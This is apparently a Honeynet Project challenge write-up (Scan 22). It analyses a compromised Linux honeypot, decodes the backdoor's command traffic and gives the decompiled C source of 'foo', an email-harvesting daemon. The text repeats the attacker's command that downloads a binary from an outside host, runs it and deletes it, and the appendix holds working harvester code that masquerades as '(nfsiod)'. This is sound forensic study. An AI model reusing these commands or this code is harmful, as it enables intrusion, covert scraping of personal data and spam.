Project Honeynet: Scan 22 Dion Mendel - 20th August 2002 quietude@iinet.net.au http://project.honeynet.org/scans/scan22/ ----------------------------------------------------------------------------- The Challenge: ----------------------------------------------------------------------------- After penetrating the Linux system using the WU-FTPD vulnerability, the attacker deployed a backdoor binary and then proceeded to use the system for certain nefarious activity. Your mission, should you choose to accept it, is to determine what the activity was and how it was accomplished. All the necessary evidence is contained in the snort binary capture file. The IP address of the honeypot is 172.16.183.2. Using the snort binary capture answer the following questions. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Questions ----------------------------------------------------------------------------- 1. What is the attacker's IP address? The attacker has a handler controlling the backdoor agent (the-binary from the reverse challenge) at IP address 203.173.173.50. This implies root level access as the-binary communicates with raw sockets, which requires root. The attacker also has access to 216.242.103.2 where foo is downloaded from. foo communicates to a server also at 216.242.103.2 sending retrieved email addresses there. So the attacker has root access at 203.173.173.50, and at least user level access at 216.242.103.2. ----------------------------------------------------------------------------- 2. What is the attacker doing first? What do you think is his/her motivation for doing this? The attackers first action is to execute the command: grep -i "zone" /etc/named.conf One reason for this is to find new IP addresses, presumably to attack. IP addresses managed by the name server are either directly stored in the named.conf file, or are stored in other files, the filename being shown as a result of the grep. Another reason is to see if this name server is a master for a zone (i.e provides authoritative answers for it). If this is the case, then the zone file could be modified to redirect incoming traffic to the spammer's site. ----------------------------------------------------------------------------- 3. Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other? Assuming that this question is referring to packets using protocol 11, and numbering these packets 1 to 26. Readable text was found in packets 3-20, and not in packets 1,2,21-26. The readable text is a result of a poorly implemented encoding process which can expose the encoded text. This was discussed by several of the entrants in the reverse challenge. ----------------------------------------------------------------------------- 4. What is the purpose of 'foo'? Can you provide more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur? A decompilation of foo is found in Appendix B, and a summary of its workings are in the analysis. Basically the purpose of foo is to scan ICQ user web pages for email addresses, and send collected email addresses to a central collection point. foo was compiled on the same system (slackware 3.1) as the-binary from the reverse challenge. Presumably it was written by the same person. Like the-binary, foo is poorly coded with several bugs (e.g. assumes that socket() returns 0 on error). foo does use advanced features, such as non blocking IO. The attacker's programming knowledge has probably improved since he/she wrote the-binary. However there are design flaws such as sending large (30000 byte) UDP datagrams without ensuring that the socket sending buffer can handle them. So overall, the attacker's skill is still mediocre. ----------------------------------------------------------------------------- 5. What is the purpose of './ttserve ; rm -rf /tmp/ttserve' as done by the attacker? ttserve becomes a daemon immediately after execution, so the rm will occur while ttserve is still executing. The purpose of the rm is to remove the executable to help prevent detection by an administrator looking in the /tmp directory. ----------------------------------------------------------------------------- 6. How do you think the attacker will use the results of his activity involving 'foo'? Assuming that the attacker is related to ttserve@tm.net.my (a known spammer), and the purpose of foo is to collect email addresses, is seems obvious that the attacker is collecting email address to send unsolicited junk email to. ----------------------------------------------------------------------------- Bonus Question: 7. If you administer a network, would you have caught such NVP backdoor communication? If yes, how? If you do not administer a network, what do you think is the best way to prevent such communication from happening and/or detect it? As stated in the reverse challenge, the best way to prevent/detect NVP backdoor communication is to block all unnecessary protocols at the border router. This means drop/logging all protocols other than 1, 6, 17 (ICMP, TCP, UDP). -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Analysis: Obtain scan and verify integrity. $ wget http://project.honeynet.org/scans/scan22/snort-0718@1401.log.gz $ md5sum snort-0718@1401.log.gz 6d0056c385f4d312f731d9506e217314 snort-0718@1401.log.gz First we view the scan with ethereal, sorting by protocol to get an understanding of the traffic pattern. The ftp, nbns and sunrpc traffic were ignored as being unrelated to the attacker. We notice that there are 26 packets with a protocol field of 11 (the signature of the backdoor binary from the reverse challenge). This traffic is decoded using the decoder developed for the reverse challenge, the output being stored in Appendix A. The following command sequence is noted: " killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ;" This shows the attacker downloading a binary from a remote site then executing it. tcpflow was used to extract the binary from the snort capture. The binary was decompiled using the steps outlined in my analysis (see links) for the reverse challenge. The binary 'foo' was compiled on a slackware 3.1 system, just like the binary from the reverse challenge. Luckily foo was compiled without optimisation, which made decompilation much easier. The results of the decompilation are stored in Appendix B. It is interesting to note that the attacker renames foo to ttserve. Searching google for ttserve return ttserve@tm.net.my, which is an email address used for sending spam. ----------------------------------------------------------------------------- Summary of foo: The purpose of foo is to scan ICQ user web pages for email addresses. foo is a client which contacts a server for the pages to scan, and returns the results of the scan to the server. The server location is hardcoded into the binary at 216.242.103.2, listening to UDP port 53413. foo's algorithm 1. Become a daemon, change argv[0] to "(nfsiod)", and uid and gid to 1 (daemon). The purpose of this is to avoid casual detection in a ps listing. 2. Contact the server, sending a UDP packet with contents "GU\n". The server responds with either "DIE\n", in which case the client terminates, or "DU12345\n", where 12345 is the user identification number to start scanning at. 3. The client then scans the next 100 web pages, starting at 12345 and incrementing. The pages scanned are of the form http://web.icq.com/wwp?Uin=12345. The received web page is searched for a string "mailto:XXXX", (where XXXX is an email address). If found, the email address is appended to a list. 4. Once 100 pages have been scanned, the client contacts the server returning the list of email addresses in a single UDP packet with the contents "SE12345XXXX\nYYYY\n", where 12345 is the starting user identification number, XXXX and YYYY etc are email addresses. The server responds with "GOT\n", then the client returns to step 2, for the next round of numbers to scan. ----------------------------------------------------------------------------- Timeline of attacker communicating with backdoor binary (protocol 11). 23:09:13 Initialise agent. 23:10:35 Execute grep -i "zone" /etc/named.conf 03:35:00 Execute killall -9 ttserve 03:35:57 Execute killall -9 ttserve 03:57:38 Execute killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ; 04:02:40 Execute killall -9 lynx ; rm -rf /tmp/ttserve; 04:03:37 Execute killall -9 lynx ; rm -rf /tmp/ttserve; 04:04:34 Execute killall -9 lynx ; rm -rf /tmp/ttserve; The backdoor binary (analysed in the reverse challenge) uses an unreliable protocol to communicate. The duplicated commands are most likely sent to ensure that they are executed (in case of dropped packets). The duplicated commands are to do with cleanup, so this indicates that the attacker is taking care to not be detected. ----------------------------------------------------------------------------- Notes: The attacker downloads the file foo from a server having an IP address 216.242.103.2, however the snort capture file shows that the address of the server is 11.11.11.11. As every packet to or from this address has an incorrect checksum, it is assumed that the capture file was modified to replace occurences of 216.242.103.2 with 11.11.11.11. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Time for this challenge. Analysis - 4 hours including decompilation. Writeup - 2 hours Total 6 hours. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Links. ethereal http://www.ethereal.com/ tcpflow http://www.circlemud.org/~jelson/software/tcpflow/ my submission for the reverse challenge http://project.honeynet.org/reverse/results/sol/sol-06 ############################################################################## Appendix A - Decoded backdoor communication ############################################################################## Using the decoder at: http://project.honeynet.org/reverse/results/sol/sol-06/files/bin/decoder $ perl decoder snort-0718@1401.log 94.0.146.98 -> 172.16.183.2 (handler -> agent) Initialise agent. All replies are sent to handler at 203.173.173.50 (plus 9 other randomly generated hosts) ---------------------------------------------------------------- 192.146.201.172 -> 172.16.183.2 (handler -> agent) Execute the given command and send output to handler: grep -i "zone" /etc/named.conf ---------------------------------------------------------------- 172.16.183.2 -> 203.173.144.50 (agent -> handler) output of command executed by agent: zone "." { zone "0.0.127.in-addr.arpa" { ---------------------------------------------------------------- [ 8< 8 duplicate packets sent to decoy hosts snipped >8 ] ---------------------------------------------------------------- 172.16.183.2 -> 203.173.144.50 (agent -> handler) end of output of command executed by agent ---------------------------------------------------------------- [ 8< 8 duplicate packets sent to decoy hosts snipped >8 ] ---------------------------------------------------------------- 168.148.27.14 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 ttserve ---------------------------------------------------------------- 10.39.81.89 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 ttserve ---------------------------------------------------------------- 58.248.76.90 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ; ---------------------------------------------------------------- 218.209.145.27 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 lynx ; rm -rf /tmp/ttserve; ---------------------------------------------------------------- 122.255.17.55 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 lynx ; rm -rf /tmp/ttserve; ---------------------------------------------------------------- 26.44.146.84 -> 172.16.183.2 (handler -> agent) Execute the given command, do not send output to handler: killall -9 lynx ; rm -rf /tmp/ttserve; ---------------------------------------------------------------- ############################################################################## Appendix B - Decompiled source for foo ############################################################################## #include #include #include #include #include #include #include #include #include #include #include #include unsigned long my_inet_addr (char *hostname); int udp_open(); int udp_close(int sd); int udp_send(int sd, char *buf, int len); int udp_recv(int sd, char *buf, int len); unsigned long get_next_uid(unsigned long uid, char *buf); int snarf_email(unsigned long uid, char *buf, int len); int num_bytes_queued(int sd) int main (int argc, char *argv[]) { unsigned long uid; char buf[30000]; uid = 0; memset(buf, 0, 30000); memset(argv[0], 0, strlen(argv[0])); strcpy(argv[0], "(nfsiod)"); signal(SIGCHLD, SIG_IGN); if (fork()) exit(0); setsid(); signal(SIGCHLD, SIG_IGN); setuid(1); seteuid(1); if (fork()) exit(0); signal(SIGPIPE, SIG_IGN); chdir("/"); signal(SIGCHLD, SIG_IGN); for(;;) { uid = get_next_uid(uid, buf); snarf_email(uid, buf, 30000); sleep(1); } } unsigned long my_inet_addr (char *hostname) { unsigned long addr; struct hostent *result; addr = inet_addr(hostname); if (addr == -1) { result = gethostbyname(hostname); if (result == NULL) exit(0); bcopy(result->h_addr_list[0], &addr, 4); } return addr; } int udp_open() { int sd; sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sd == 0) exit(0); fcntl(sd, F_SETFL, O_NONBLOCK); return sd; } int udp_close(int sd) { close(sd); return 0; } int udp_send(int sd, char *buf, int len) { struct sockaddr_in sockaddr; bzero(&sockaddr, sizeof(sockaddr)); sockaddr.sin_addr.s_addr = my_inet_addr("216.242.103.2"); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(53413); if (sendto(sd, buf, len, 0, (struct sockaddr *) &sockaddr, sizeof(sockaddr)) < 0) { exit(0); } return 0; } int udp_recv(int sd, char *buf, int len) { struct sockaddr_in sockaddr; int s_len; int ret; s_len = sizeof(sockaddr); ret = 0; bzero(buf, len); if (sd != 0) { bzero(&sockaddr, sizeof(sockaddr)); sockaddr.sin_addr.s_addr = my_inet_addr("216.242.103.2"); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(53413); ret = recvfrom(sd, buf, len, 0, (struct sockaddr *) &sockaddr, &s_len); if (ret >= 0) return 1; else return 0; } return 0; } static unsigned long uin = 0; static int idx; unsigned long get_next_uid(unsigned long uid, char *buf) { int sd; int count; int need_reply; char buf2[1024]; need_reply = 1; if ((uid > (uin + 98)) || (uin == 0)) { sd = udp_open(); if (strlen(buf) > 3) { while (need_reply != 0) { count = 0; buf[idx++] = '\0'; do { udp_send(sd, buf, idx); sleep(10); count++; } while (udp_recv(sd, buf2, 1000) <= 0 && count <= 10); if (count > 10) exit(0); if (strncmp(buf2, "GOT", 3) == 0) need_reply = 0; } } for (;; ) { count = 0; do { udp_send(sd, "GU\n", 3); sleep(10); count++; } while (udp_recv(sd, buf2, 1000) <= 0 && count <= 10); if (count > 10) { udp_close(sd); exit(0); } if (strncmp(buf2, "DIE", 3) == 0) { udp_close(sd); exit(0); } if (strncmp(buf2, "DU", 2) == 0) { sscanf(buf2 + 2, "%lu", &uin); memset(buf, 0, 30000); sprintf(buf, "SE%lu", uin); idx = strlen(buf); udp_close(sd); return uin; } } } else { return uid + 1; } } int snarf_email(unsigned long uid, char *buf, int len) { struct sockaddr_in sockaddr; int sd; int loop; int read_ok; int d; char buf2[1024]; char ch; char prev; time_t mark; loop = 1; d = 0; prev = ' '; mark = 0; sockaddr.sin_addr.s_addr = my_inet_addr("web.icq.com"); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(htons(80)); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(sd, (struct sockaddr *) &sockaddr, sizeof(sockaddr)) == -1) { close(sd); return 0; } fcntl(sd, F_SETFL, O_NONBLOCK); sprintf(buf2, "GET /wwp?Uin=%lu HTTP/1.0\r\nHost: web.icq.com\r\n\r\n", uid); send(sd, buf2, strlen(buf2), 0); mark = time(0); while (loop != 0) { if ((time(0) - mark) > 25) loop = 0; if (num_bytes_queued(sd) != 0) { read_ok = read(sd, &ch, 1); if (read_ok == 1 && d == 0) { if (ch == '"') d = 1; } else if (read_ok == 1 && d == 1) { switch(prev) { case '"': if (ch != 'm') d = 0; break; case 'm': if (ch != 'a') d = 0; break; case 'a': if (ch != 'i') d = 0; break; case 'i': if (ch != 'l') d = 0; break; case 'l': if (ch != 't') d = 0; break; case 't': if (ch != 'o') d = 0; break; case 'o': if (ch == ':') d = 2; break; } } else if (read_ok == 1 && d == 2) { if (ch != '"' && (idx >= (len - 1))) { if (isprint(ch)) { buf[idx++] = ch; } } else if (idx >= (len - 1)) { buf[idx++] = '\n'; close(sd); sleep(1); return 0; } } if (read_ok == 1) { prev = ch; } } } close(sd); return 0; } int num_bytes_queued(int sd) { int val; if (ioctl(sd, FIONREAD, &val) == -1) { return(-1); } return val; }